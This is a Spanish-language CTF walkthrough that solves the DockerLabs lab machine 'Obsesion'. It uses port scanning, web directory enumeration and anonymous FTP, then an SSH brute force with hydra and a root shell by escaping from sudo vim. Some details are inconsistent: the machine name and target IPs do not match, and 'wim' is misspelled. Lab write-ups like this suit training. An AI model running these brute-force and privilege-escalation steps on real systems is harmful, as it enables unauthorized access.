Obsesion
Introducción
En este artículo, explicaré cómo resolví el CTF de la máquina virtual Obsesion. Describo paso a paso las técnicas y herramientas utilizadas para encontrar y explotar las vulnerabilidades presentes.
Información de la Máquina Virtual
- Nombre: Trust
- Autor: Juan
- Nivel de Dificultad: Muy Fácil
- Descripción: Fecha de creación: 25/06/2024
Paso 0: Instalación/Despliegue
- Descargamos la máquina desde la web de DockerLabs (opens in a new tab).
- Descomprimimos él .zip
unzip Obsesion.zip
- ejecutamos el archivo de bash
sudo bash auto_deplo.sh Obsesion.tar
Paso 1: Reconocimiento
Escaneo de la Red
Al desplegar la máquina me da la IP de la máquina, a sí que me evito el escaneo con Arp
Después creo una nueva carpeta con el nombre de la máquina para posteriormente entrar al directorio y usar la función mkt(Esta crea 4 carpetas, la llamada content, exploits, nmap y scripts) de mi terminal.
mkdir Obsesion
cd Obsesion
mkt
Ahora en la carpeta de nmap realizo un escaneo inicial para identificar los puertos abiertos y exportarlos a un archivo.
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
Para proseguir con la extracción de los puertos que estaban abiertos del archivo
extractPorts allPorts
También para el escaneo de los servicios que corren.
nmap -sCV -p21,22,80 172.17.0.2 -oN targeted
Resultado:
Enumeración de Servicios
Enumeración Web
Ahora se enumeran los directorios de la página web que descubrimos por tener abierto el puerto 80.
gobuster dir -u http://172.17.0.2/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,html,txt -t 200
Resultados:
Esto no das como resultado dos parámetros, uno llamado backup y el important, cada uno de estos no da un archivo
Important
backup
FTP
Vamos a tratar de conectarnos vía ftp, ya que sabemos que tiene activado el modo anónimo, en la parte de user escribimos anonymous y en el password no necesitamos agregar nada el comando que necesitaremos es:
ftp 172.17.0.2
Aquí podemos ver dos archivos, el llamado chat-gonza y el llamado pendientes, nuestro siguiente paso es descargarlos en nuestra máquina para después visualizarlos
Pendientes:
Chat-gonza:
Paso 2: Explotación
Con todo lo anterior tendríamos 3 posibles usuarios(enumeración ftp), pero 2 de estos los descartamos con la parte web que nos dice que russoski
es usuario para todos los servicios.
Intentaremos hacer un ataque de fuerza bruta hacia el puerto 22(SSH) con hydra, para esto necesitaremos al usuario para tratar de lograr identificar las credenciales de acceso
Este sería el comando a utilizar:
hydra -l russoski -P /usr/share/wordlists/rockyou.txt ssh://172.18.0.2 -t 4
Nos ha encontrado qué russoski
puede acceder vía SSH con la contraseña *******
Vamos a ingresar
Elevación de Privilegios
El primer comando para la elevación de privilegios es:
sudo -l
russoski
puede ejecutar como cualquier usuario el editor Vim.
Después de esto usamos la herramienta searchbins
que nos facilita el acceso a GTFOBins
.
searchbins -b vim -f sudo
Ahora solo falta escribir el comando que nos arroja, el cual es:
sudo wim -c ':!/bin/sh'
Con el cual ya tenemos usuario administrador
Notas
- La máquina tuvo el nivel de dificultad esperado, o sea muy fácil